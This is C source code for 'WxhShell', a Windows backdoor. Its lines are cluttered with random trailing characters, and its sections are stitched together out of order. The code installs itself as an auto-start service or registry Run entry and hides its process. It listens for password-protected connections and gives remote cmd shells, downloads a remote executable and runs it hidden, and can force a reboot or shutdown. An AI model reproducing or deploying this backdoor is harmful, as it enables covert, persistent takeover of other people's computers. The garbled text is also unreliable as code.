    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P) 1 EA;  
    if(Boot(SHUTDOWN))  ?Ib}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4z0L ke  
    else { 2.qpt'p[  
    closesocket(wsh); 0N5bPb  
    ExitThread(0); !Uy>eji}  
    } )!,@m>0v{  
    break; u[EK#%  
    } _FsB6 G]mc  
  // 获取shell EfKntrom[  
  case 's': { j^ I!6j=ZX  
    CmdShell(wsh); +-ewE-:|L  
    closesocket(wsh); z!Hx @){|  
    ExitThread(0); 1b[NgOXY=  
    break; c F=P!2 @  
  } SQ<f  
  // 退出 KN, 4@4  
  case 'x': { jY+Do:#/wO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4J8Dh;a`  
    CloseIt(wsh); Cuv|6t75'  
    break; a_%>CD${t  
    } Q>%E`h  
  // 离开 b1)\Zi  
  case 'q': { -'ZxN'*%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V16%Ne  
    closesocket(wsh); 61,O%lV  
    WSACleanup(); O 6]u!NqG  
    exit(1); ]_ #SAhOR)  
    break; AT ymKJ  
        } iNLDl~uU  
  } pVz*ZQ[]  
  } PWG;&ma  
7LdzZS0OM  
  // 提示信息 XtzOFx/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {u4i*udG`)  
} `^%@b SE(  
  } Tk](eQsy.v  
FfSI n3  
  return; r=\P!`{5  
} BA*&N>a  
;qb Dbg  
// shell模块句柄 y/\ZAtnLo  
int CmdShell(SOCKET sock) ;sQ2 0 B'  
{ pN+I]NgQ  
STARTUPINFO si; _yJ|`g]U3  
ZeroMemory(&si,sizeof(si)); Ql8^]gbp+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %omu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |D+p$^L  
PROCESS_INFORMATION ProcessInfo; Ays L-sqR  
char cmdline[]="cmd"; R8ZD#,;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U!NI_uk  
  return 0; kQ[Jo%YT?E  
} 2-7Z(7G{ F  
mtX31 M4  
// 自身启动模式 N'a?wBBR  
int StartFromService(void) tvCcyD%w  
{ -R8/`M8GbD  
typedef struct //tT8HX  
{ #/s7\2  
  DWORD ExitStatus; b=G4MZQ  
  DWORD PebBaseAddress; Yx 3|G  
  DWORD AffinityMask; /N%zwj/*  
  DWORD BasePriority; g/B\ObY  
  ULONG UniqueProcessId; v^\JWPR/  
  ULONG InheritedFromUniqueProcessId; DZ2Fl>7  
}   PROCESS_BASIC_INFORMATION; f-&ATTx`J  
t)!V +Qcb  
PROCNTQSIP NtQueryInformationProcess; SctJxY(}!  
$>![wZ3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SdSgn|S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q[jI=$Q)  
R. O  
  HANDLE             hProcess; /} a_8iM\  
  PROCESS_BASIC_INFORMATION pbi; XD 5n]AL  
OOfy Gvs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []=_<]{  
  if(NULL == hInst ) return 0; T;J7+0  
$)f"K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i0b.AA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \#2 s4RCji  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [\a:4vDAbi  
",QYDFFeF  
  if (!NtQueryInformationProcess) return 0; @o60 c  
?0uOR *y'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (H P z  
  if(!hProcess) return 0; )# p.`J  
.Nk}Z9L]k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #1B}-PGCm  
Enu!u~1]F  
  CloseHandle(hProcess); F$[)Bd/"  
v` $%G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W oWBs)E  
if(hProcess==NULL) return 0; FN>L7 *,0  
df^0{gNHx  
HMODULE hMod; m[W/j/$A+x  
char procName[255]; {hM"TO7\  
unsigned long cbNeeded; }|SIHz!R  
6-tiRk~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %uj[`  
~z&0qQ  
  CloseHandle(hProcess); WX ,p`>n  
*^uGvJXF  
if(strstr(procName,"services")) return 1; // 以服务启动 :Jm!=U%'Z  
3Fgz)*Gu]  
  return 0; // 注册表启动 )U]:9)   
} qg|Ox*_od"  
[A|(A$jl  
// 主模块 4`$5 _} j!  
int StartWxhshell(LPSTR lpCmdLine) O/(3 87=U  
{ k{_1r;  
  SOCKET wsl; \zBd<H4S:  
BOOL val=TRUE; fjcr<&{:  
  int port=0; Bpm,mp4g\#  
  struct sockaddr_in door; 0e)lY='^_  
> CH  
  if(wscfg.ws_autoins) Install(); "oHp.$+K  
#t){4J  
port=atoi(lpCmdLine); )y(oHRCp->  
&<`-:x12_  
if(port<=0) port=wscfg.ws_port; AjG)1  
o T:j:n  
  WSADATA data; YXgWH'i~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]F !'M  
' J2ewW5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o1Ne+Jt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cD5w| rm?i  
  door.sin_family = AF_INET; 33*^($bE&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XMomFW_@  
  door.sin_port = htons(port); KuIkul9^%  
3'.! +#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HJc<Gwm  
closesocket(wsl); fn3*2  
return 1; Ob7zu"zr  
} L^6"' #  
1X[ 73  
  if(listen(wsl,2) == INVALID_SOCKET) { Ad^dF'SN  
closesocket(wsl); SE6>vKR/.  
return 1; 7F"3<U@J  
} 0K&_D)  
  Wxhshell(wsl); e jP,29  
  WSACleanup(); >y]?MGk  
&Q2NU$  
return 0; yVT&rQ"{  
Um/CR!  
} 2TE\4j  
8b-7]%  
// 以NT服务方式启动 T:be 9 5!,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )gr}<}X)B  
{ ,;9ak-$8p  
DWORD   status = 0; m"5{D*|  
  DWORD   specificError = 0xfffffff; lQ+Ru8I  
,m2A p\l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hT.4t,wa8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EV:_Kx8fP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vp|2wlFE-  
  serviceStatus.dwWin32ExitCode     = 0; k&WUv0  
  serviceStatus.dwServiceSpecificExitCode = 0; u9esdOv  
  serviceStatus.dwCheckPoint       = 0; `Q:de~+AM{  
  serviceStatus.dwWaitHint       = 0; H~~7~1"x  
>/(i3)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  AqKHjCI  
  if (hServiceStatusHandle==0) return; | -JI`!7  
s[Y)d>~\$=  
status = GetLastError(); n>u.3w L  
  if (status!=NO_ERROR) wYZy e^7  
{ W/b"a?wE{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s.f`.o  
    serviceStatus.dwCheckPoint       = 0; d&/^34gn  
    serviceStatus.dwWaitHint       = 0; )C'G2RV  
    serviceStatus.dwWin32ExitCode     = status; s>LA3kT  
    serviceStatus.dwServiceSpecificExitCode = specificError; uCY(:;[<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F~tm`n8Z  
    return; @~JB\j9  
  } 7h(HG?2Y  
) ~ l\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VI(RT-S6  
  serviceStatus.dwCheckPoint       = 0; i6-wf Gs;  
  serviceStatus.dwWaitHint       = 0; >L#];|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hfJrQhmE  
} b\kN_  
h=uiC&B  
// 处理NT服务事件,比如:启动、停止 _cW_u?0X:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GwTT+  
{ ^`l"'6  
switch(fdwControl) { z-5GH|  
{ Hlz'a1\:O]  
case SERVICE_CONTROL_STOP: pw0Px  
  serviceStatus.dwWin32ExitCode = 0; D=jS h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q2JdO 6[96  
  serviceStatus.dwCheckPoint   = 0; RpBiE8F4  
  serviceStatus.dwWaitHint     = 0; A M>Yj  
  { ck(CA(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <f7?P Ad  
  } <9Lv4`]GU5  
  return; .}IK}A/-  
case SERVICE_CONTROL_PAUSE: >+yqjXRzm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F% F c+?  
  break; lt@  
case SERVICE_CONTROL_CONTINUE: 5}vRo;-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vF5wA-3&t  
  break; ;k9 ?  
case SERVICE_CONTROL_INTERROGATE: 3r,1^h  
  break; G3Idxs  
}; 6a "VCE]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z7O Z4R:  
} W,QnU d'N  
^n\9AE3  
// 标准应用程序主函数 AZh@t?)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) utYnaeQcn  
{ ZA *b9W  
_myg._[  
// 获取操作系统版本 F Q8RK~?`  
OsIsNt=GetOsVer(); ?b!CV   
GetModuleFileName(NULL,ExeFile,MAX_PATH); tebWj>+1c  
bYwI==3  
  // 从命令行安装 g*:ae;GP  
  if(strpbrk(lpCmdLine,"iI")) Install(); (|yRo  
Wl^prs7}c  
  // 下载执行文件 oUW )H  
if(wscfg.ws_downexe) { nz,Mqol  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ss"|1]acP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8>C; >v  
} .b =M5JsyV  
2ApDpH`fiJ  
if(!OsIsNt) { 8m#}S\m  
// 如果时win9x,隐藏进程并且设置为注册表启动 3v8V*48B$  
HideProc(); }-REBrb-  
StartWxhshell(lpCmdLine); r;&]?9)W0  
} -mev%lV  
else c!'A)JD@  
  if(StartFromService()) )GiFkG  
  // 以服务方式启动 fhBO~o+K>  
  StartServiceCtrlDispatcher(DispatchTable); ?z\q Mu  
else 6%\7.h  
  // 普通方式启动 SREDM  
  StartWxhshell(lpCmdLine); Tf&f`/  
`jD8(}_  
return 0; O ,F]\  
} { ()p%#*  
t,--V|7-  
jMm_A#V>p  
N<#S3B?.  
=========================================== 2*~JMbm  
}m=t zHB*  
p56KS5duI.  
)bB"12Z|8  
P#dG]NMf  
baUEsg[~V  
" w0a+8gexi  
u+2 xrzf  
#include <stdio.h> Yv#J`b@y  
#include <string.h> ^@|<'g.R-  
#include <windows.h> >< <$  
#include <winsock2.h> #}[Sj-Vp  
#include <winsvc.h> ^%K1R;  
#include <urlmon.h> ;,F-6RNj  
8]cv&d1f  
#pragma comment (lib, "Ws2_32.lib") tJ?qcT?  
#pragma comment (lib, "urlmon.lib") `l[6rf_.  
1S*8v 7  
#define MAX_USER   100 // 最大客户端连接数 w>NZRP_3  
#define BUF_SOCK   200 // sock buffer ?/`C~e<J  
#define KEY_BUFF   255 // 输入 buffer W%Y.SP$Y  
H{ n>KZ]\  
#define REBOOT     0   // 重启 .c=$ bQ>^  
#define SHUTDOWN   1   // 关机 u%+6Mp[E  
jQ.>2-;H9  
#define DEF_PORT   5000 // 监听端口 !uj!  
Lu8%qcC  
#define REG_LEN     16   // 注册表键长度 Vze!/ED  
#define SVC_LEN     80   // NT服务名长度 %fn'iKCB  
"k\Ff50  
// 从dll定义API pz*/4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M-&^   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?J^IAF y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'NQMZfz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p?Z+z  
xWenKY,  
// wxhshell配置信息 }AMYU>YE=  
struct WSCFG { Ak\D6eHcB  
  int ws_port;         // 监听端口 < '>d0:>N  
  char ws_passstr[REG_LEN]; // 口令 +BtLyQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no yBYuDfeZ  
  char ws_regname[REG_LEN]; // 注册表键名 )o " SB1  
  char ws_svcname[REG_LEN]; // 服务名 sUyCAKebRr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _H^^2#wc/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HobGl0<y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uZqu xu.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qHC*$v#.V?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E i\J9zt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )RAv[U1  
SxLHFN]  
}; r 48;_4d)D  
q_9N+-?{7  
// default Wxhshell configuration nK?k<  
struct WSCFG wscfg={DEF_PORT, 75hFyh;u  
    "xuhuanlingzhe", PK.h E{R  
    1, {|Mxvp*Hg  
    "Wxhshell", xoz*UA.  
    "Wxhshell", 8^P2GG'+-  
            "WxhShell Service", O)$N}V0  
    "Wrsky Windows CmdShell Service", WQIM2_=M  
    "Please Input Your Password: ", J]=aI>Ow  
  1, 3%vx' 1h[  
  "http://www.wrsky.com/wxhshell.exe", h|c:!VN@  
  "Wxhshell.exe" @mQ/W Ys  
    };  2#$}yP~  
QN2*]+/h  
// 消息定义模块 ySr091Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m 1'&{O:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K*HVn2OV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &|'Kut?8  
char *msg_ws_ext="\n\rExit."; 3 2iWYN  
char *msg_ws_end="\n\rQuit."; eSvc/CU  
char *msg_ws_boot="\n\rReboot..."; ;4S [ba1/  
char *msg_ws_poff="\n\rShutdown..."; ?v)"%.  
char *msg_ws_down="\n\rSave to "; $X.'W\o|  
(zM+7tJH  
char *msg_ws_err="\n\rErr!"; 43}&w.AS  
char *msg_ws_ok="\n\rOK!"; (<> Sz(  
C~ }Wo5  
char ExeFile[MAX_PATH]; Y>dg10=  
int nUser = 0; B Z\EqB  
HANDLE handles[MAX_USER]; |$.sB|_ N  
int OsIsNt; ZaNyNxbp>z  
5Re`D|8  
SERVICE_STATUS       serviceStatus; R uFu,H-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U47k5s(J  
%T,\xZ  
// 函数声明 %`s9yRk9>E  
int Install(void); ,h wf  
int Uninstall(void); ',J%Mv>Yf  
int DownloadFile(char *sURL, SOCKET wsh); -?%{A%'  
int Boot(int flag); P5 <85t  
void HideProc(void); wNf*/? N  
int GetOsVer(void); g`~lIt [=  
int Wxhshell(SOCKET wsl); mISu o  
void TalkWithClient(void *cs); rvoS52XG,  
int CmdShell(SOCKET sock); W(PW9J9  
int StartFromService(void); &>) `P[x  
int StartWxhshell(LPSTR lpCmdLine); A\PV@w%A i  
. f.j >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZAnO$pA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qed!C  
K&Wv.}=V  
// 数据结构和表定义 ]Gd]KP@S  
SERVICE_TABLE_ENTRY DispatchTable[] = VtPoc(o4]  
{ kGBl)0pr`x  
{wscfg.ws_svcname, NTServiceMain}, PU@U@  
{NULL, NULL} {C0OrO2:  
}; @=<TA0;LL  
6q  xUT  
// 自我安装 z5o9\.y({  
int Install(void) Fb<\(#t  
{ p-(ADQS  
  char svExeFile[MAX_PATH]; 9^Vx*KVrU  
  HKEY key; d@>k\6%j  
  strcpy(svExeFile,ExeFile); bbPd&7  
i_ODgc`H  
// 如果是win9x系统,修改注册表设为自启动 1 Z$99  
if(!OsIsNt) { 1o6J9kCq^3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=Ly49  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n nnA,  
  RegCloseKey(key); *V@MAt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 82@;.%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Sc~Vb|>  
  RegCloseKey(key); `bt)'ERO%#  
  return 0; .+JP tL  
    } kmwrv -W  
  } K7&8 ;So  
} GE3U0w6WbK  
else { W%jX-  
IDk:jO  
// 如果是NT以上系统,安装为系统服务 _^2[(<Gmv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $85o%siS'  
if (schSCManager!=0) 3xCA\*  
{ C;:1CK  
  SC_HANDLE schService = CreateService %ucmJ-< y#  
  ( ##+ 8GLQM  
  schSCManager, }yC,uEV  
  wscfg.ws_svcname, ,w58n%)H  
  wscfg.ws_svcdisp, kV(DnZ#jq  
  SERVICE_ALL_ACCESS, I#6' NZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oWaIjU0  
  SERVICE_AUTO_START, HS&uQc a  
  SERVICE_ERROR_NORMAL, uF.\dY\xv  
  svExeFile, r0$9c  
  NULL, TI7Ty+s  
  NULL, /qQ2@k  
  NULL, I\4`90uBN  
  NULL, :c/=fWM%  
  NULL hjp?/i%TQ  
  ); y@8399;l  
  if (schService!=0) 3<' Q`H>  
  { 3L!&~'.Ro  
  CloseServiceHandle(schService); nTtt$I@hW  
  CloseServiceHandle(schSCManager); yNMwd.r[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I3[RaZ2z{  
  strcat(svExeFile,wscfg.ws_svcname); [Oy2&C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AFhG{G'W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` Ehgn?6'  
  RegCloseKey(key); }Yl8Q>t  
  return 0; "s6_lhu=E7  
    } bg3jo1J  
  } )I UWM  
  CloseServiceHandle(schSCManager); .N><yQ-j3'  
} ^fiRRFr[  
} md +`#-D\O  
czsoD) N  
return 1; ^l2d?v8  
} _TcQ12H 5<  
X'Il:SK  
// 自我卸载 !J?=nSu  
int Uninstall(void) OsSiBb,W79  
{ >`V|`Zi ?  
  HKEY key; A kQFb2|ir  
Pc ?G^ Xol  
if(!OsIsNt) { F1[ [fH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3\l9Sf=M|  
  RegDeleteValue(key,wscfg.ws_regname); ]~ 8N  
  RegCloseKey(key); <.B > LU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LYT<o FE-  
  RegDeleteValue(key,wscfg.ws_regname); xcRrI|?eC  
  RegCloseKey(key); Jz8#88cY  
  return 0; 7ofH@U  
  } \^W?   
} (']z\4o  
} exN#!& ;  
else { oW1olmpp=  
D~?*Xv]s ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &$Ip$"H  
if (schSCManager!=0) 2<./HH*f  
{ ;}9Ws6#XQs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^p%+rB.j[  
  if (schService!=0) jP6G.aiO  
  { m<LzB_ G\  
  if(DeleteService(schService)!=0) { :< 3;7R'5  
  CloseServiceHandle(schService); $zA[5}{ZtQ  
  CloseServiceHandle(schSCManager); q'-l; V|  
  return 0; jN{xpd  
  } Jj!tRZT  
  CloseServiceHandle(schService); GT}#iM  
  } xfQ;5n  
  CloseServiceHandle(schSCManager); ` Z V'7|  
} U5%]nT"[]  
} t"Rf67  
mpJ_VS`  
return 1; ?Lb7~XKt\  
} Ps5wQaS  
YZu# 0)  
// 从指定url下载文件 #Z 5Wk  
int DownloadFile(char *sURL, SOCKET wsh) 7Ki7N{K t  
{ m64\@ [  
  HRESULT hr; ]`U?<9~Ob  
char seps[]= "/"; z#67rh {  
char *token; D(?#oCCA  
char *file; S5 vMP N  
char myURL[MAX_PATH]; g {wPw  
char myFILE[MAX_PATH]; j`M<M[C*4N  
%pKs- n`  
strcpy(myURL,sURL); h0QQP  
  token=strtok(myURL,seps); AQGE(%X  
  while(token!=NULL) g[)hm`{?  
  { 5W '|qmJ  
    file=token; l zkn B  
  token=strtok(NULL,seps); 3nGK674;z  
  } -mdPqVIJn:  
`erQp0fBM  
GetCurrentDirectory(MAX_PATH,myFILE); .f<,H+m^  
strcat(myFILE, "\\"); /P}tgcs  
strcat(myFILE, file); PEhLzZX+  
  send(wsh,myFILE,strlen(myFILE),0); XYVeHP!  
send(wsh,"...",3,0); 62E(=l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I9&<:`  
  if(hr==S_OK) _ L6>4  
return 0; a m%{M7":7  
else &,|uTIs  
return 1; v^E2!X  
+ a@SdWf  
} X2kLbe  
bTKxv<  
// 系统电源模块 9jBr868  
int Boot(int flag) /'+JP4mK  
{ 5WG@ ;K%  
  HANDLE hToken; 780MSFV8  
  TOKEN_PRIVILEGES tkp; ^?`,f>`M  
7-B'G/PS/  
  if(OsIsNt) { 9Dkgu ^`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k(^b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ur5n{0#  
    tkp.PrivilegeCount = 1; WL]'lSHa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e.h:9` "*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 88U  
if(flag==REBOOT) { (jMp`4P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Ec"&  
  return 0; lK@r?w|<M  
} '*.};t~;"d  
else { 5< nK.i,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Vr'AEIQ  
  return 0; q@> m~R  
} t')I c6.?i  
  } Stx-(Kfn4  
  else { .6(i5K  
if(flag==REBOOT) { Onyq'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  .l'QCW9  
  return 0; `/iN%ZKum  
} 9LRY  
else { aa!c>"g6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N.rB-  
  return 0; Jc6 D^=  
} Etk<`GRfA  
} pswppC6f  
$nN$"  
return 1; }e w?{  
} IC42O_^  
69L&H!<i:  
// win9x进程隐藏模块 ]kvE+m&p}^  
void HideProc(void) '93&?  
{ c" HCc]  
fTcRqov  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @UBp;pb}=h  
  if ( hKernel != NULL ) _en8hi@Z  
  { m 9Q{ )?J7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CiF bk&-g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ha\hQ'99  
    FreeLibrary(hKernel); s=+G%B'  
  } {[dqXG$v `  
o)DKP>IM#  
return; 3e:y?hpeL  
} -z94>}Z=  
B5S1F4  
// 获取操作系统版本 Nrh`DyF0D!  
int GetOsVer(void) 'ZZ/:MvQa  
{ U)6JJv  
  OSVERSIONINFO winfo; ]5CFL$_Q{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~*Wb MA  
  GetVersionEx(&winfo); H2p;J#cv@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ujBADDwOg)  
  return 1; lnUy ? 0(  
  else =n&83MYX  
  return 0; P'';F}NwfX  
} V00zk`PH  
4|UIyDt8  
// 客户端句柄模块 Pr"ESd>Y  
int Wxhshell(SOCKET wsl) qKXn=J/0tA  
{ HC$cK+,ZU}  
  SOCKET wsh; C2T,1=  
  struct sockaddr_in client; )c_ll;%  
  DWORD myID; _\zf XHp  
\/%mabLK  
  while(nUser<MAX_USER) fC[gu$f][  
{ 0rj*SC_  
  int nSize=sizeof(client); Urr1 K)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eX/$[SL[  
  if(wsh==INVALID_SOCKET) return 1; UgJHSl  
~Hf,MLMdTf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |ipppE=  
if(handles[nUser]==0) _4w%U[GT,  
  closesocket(wsh); 'tj4;+xf^  
else +iR ;D$w  
  nUser++; aJ ts  
  } >#Y q&@G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bf.RYLsh6  
xYq8\9Qb  
  return 0; I&9B^fF6  
} TfOZ>uR"g  
O_q_O  
// 关闭 socket s&l[GKR  
void CloseIt(SOCKET wsh) PsVA>Q,4!.  
{ mCo5 Gdt  
closesocket(wsh); H+Wd#7l,  
nUser--; .0 K8h:I  
ExitThread(0); 0 N(2[s_A  
} -$r fu  
{_JLmyaerZ  
// 客户端请求句柄 &+sN= J.x  
void TalkWithClient(void *cs) =G`m7!Q)  
{ qi$8GX=~r  
r_",E=e  
  SOCKET wsh=(SOCKET)cs; ~*qGH  
  char pwd[SVC_LEN]; T/ov0l_  
  char cmd[KEY_BUFF]; f$/D?q3N  
char chr[1]; w>e OERZa  
int i,j; &nss[w$%C  
POf \l  
  while (nUser < MAX_USER) { YZ}gZQ.A0  
/\.kH62  
if(wscfg.ws_passstr) { 4#T'Fy].  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aVlHY E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hcpw [%(  
  //ZeroMemory(pwd,KEY_BUFF); K|&y?w  
      i=0; TFhj]r^ {  
  while(i<SVC_LEN) { UTz;Sw?~hw  
U8d  wb  
  // 设置超时 S70ERRk  
  fd_set FdRead; BsAglem  
  struct timeval TimeOut; @UA>6F  
  FD_ZERO(&FdRead); :5(TOF  
  FD_SET(wsh,&FdRead); We`axkC  
  TimeOut.tv_sec=8; 5D#*lMSP"'  
  TimeOut.tv_usec=0; Ny#%7%(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9D@Ez"xv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C<pF13*4  
w?[)nlNW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1VeCAx[e  
  pwd=chr[0]; otOl7XF  
  if(chr[0]==0xd || chr[0]==0xa) { qy !G&  
  pwd=0; l/]P6 @N  
  break; Kfi A 7W  
  } cb+!H>+  
  i++; R#t~i&v/  
    } psMagzr&)e  
_^B+Xo@E-  
  // 如果是非法用户,关闭 socket  _R ]1J0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FR&RIFy  
} REw3>/=  
>TE&myZ?*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); biJU r^n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %ug`dZ/  
ZE9*i}r  
while(1) { /swTn1<Y  
P _ SJK  
  ZeroMemory(cmd,KEY_BUFF); myYe~f4=HQ  
9'tM65K  
      // 自动支持客户端 telnet标准   mb#)w`<  
  j=0; Yv{AoL~  
  while(j<KEY_BUFF) { 6l=n&YO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Hb _o)S  
  cmd[j]=chr[0]; &I70veNY  
  if(chr[0]==0xa || chr[0]==0xd) { jq[>PvR  
  cmd[j]=0; =($qiL'h  
  break; c/s'&gG33z  
  } k`?n("j  
  j++; 5rc<ibGh  
    } {BJxRH"&6*  
r"n)I$  
  // 下载文件 h'bxgIl'`  
  if(strstr(cmd,"http://")) { @/9> /?JP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8E" .y$AW  
  if(DownloadFile(cmd,wsh)) a; "+Py  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{sX8U%  
  else 3 3V/<v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!5gD   
